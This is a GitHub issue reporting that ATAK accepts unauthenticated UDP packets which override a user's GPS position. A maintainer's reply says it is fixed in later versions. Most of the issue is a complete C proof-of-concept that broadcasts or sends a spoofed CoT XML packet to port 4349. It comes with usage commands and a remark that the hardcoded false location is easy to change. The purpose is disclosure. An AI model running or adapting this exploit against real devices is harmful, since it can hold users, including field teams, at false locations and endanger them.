deptofdefense / AndroidTacticalAssaultKit-CIV

Other
35 stars 17 forks source link

ATAK vulnerable to cyberattack: user location can be remotely overridden #234

Open 314analytics opened 2 years ago

314analytics commented 2 years ago

In past versions of ATAK, this attack surface was (unwisely) left open by default, but at least it could be manually closed by the user via the menu option Settings > Device Preferences > GPS Preferences > GPS Option.

That user option is no longer available, seemingly leaving the attack surface always open.

Below is a proof of concept attack utility. The attacker doesn't even need to know the IP address of the ATAK user, since ATAK will accept these packets from broadcast addresses as well.

Usage is as simple as:

./demoGPS 255.255.255.255
./demoGPS 192.168.12.34

where the former broadcasts to every ATAK user on the network, and the latter is to a specific user device IP address of your choosing.

As long as one of these packets is sent every few seconds, the target user(s) will be immobilized at a false location.

The false location is hardcoded in this example, but you can see that it is straightforward to modify this to your end requirements.

/*
  THIS FILE IS PROVIDED AS IS WITH NO WARRANTY OF ANY KIND, INCLUDING THE
  WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#if defined(_MSC_VER) || defined(__MINGW32__)
    #include <windows.h>
    #define snprintf _snprintf
#else
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    typedef struct sockaddr * LPSOCKADDR;
    typedef int SOCKET;
    typedef struct sockaddr_in SOCKADDR_IN;
#endif

int main(int argc, char *argv[])
{
    int outcome, portno;
#if defined(_MSC_VER) || defined(__MINGW32__)
    WSADATA wsaData;
#endif
    SOCKADDR_IN victim;
    SOCKET udpSocket;
    double lat = 38.678315, lon = -77.138435, hae = 250.0;
    const char *ipaddr;
    int length;
    static char buffer[2048];
    int set_option_on = 1;

    if (argc < 2)
    {
        printf("%s <ip_addr> [udp_port]\n", argv[0]);
        return -1;
    }

    ipaddr = argv[1];
    portno = (argc > 2) ? atoi(argv[2]) : 4349;

#if defined(_MSC_VER) || defined(__MINGW32__)
    outcome = WSAStartup(MAKEWORD(2,0), &wsaData);

    /* check the version */
    if (wsaData.wVersion != MAKEWORD(2,0)) return -1;
#endif

    victim.sin_family = AF_INET;
    victim.sin_addr.s_addr = inet_addr(ipaddr);
    victim.sin_port = htons((unsigned short)portno);

    udpSocket = socket(AF_INET, SOCK_DGRAM, 0);
#if defined(_MSC_VER) || defined(__MINGW32__)
    if (INVALID_SOCKET == udpSocket) return -1;
#else
    if (udpSocket <= 0) return -1;
#endif

    setsockopt(udpSocket, SOL_SOCKET, SO_BROADCAST, (char*) &set_option_on, sizeof(set_option_on));

    snprintf(buffer, sizeof(buffer), "<?xml version=\"1.0\"?>\xA<event version=\"2.0\" uid=\"GPS\" type=\"a-f-G-I-U-T\"><detail/><point lat=\"%f\" lon=\"%f\" hae=\"%f\" ce=\"10.1\" le=\"9999999.0\"/></event>", lat, lon, hae);

    length = strlen(buffer);

    outcome = sendto(udpSocket, (char *)buffer, length, 0, (LPSOCKADDR) &victim, sizeof(victim));

#if defined(_MSC_VER) || defined(__MINGW32__)
    closesocket(udpSocket);
#else
    close(udpSocket);
#endif

    return 0;
}
bisgroves commented 2 years ago

This should be resolved as part of 4.5.1 and 4.6.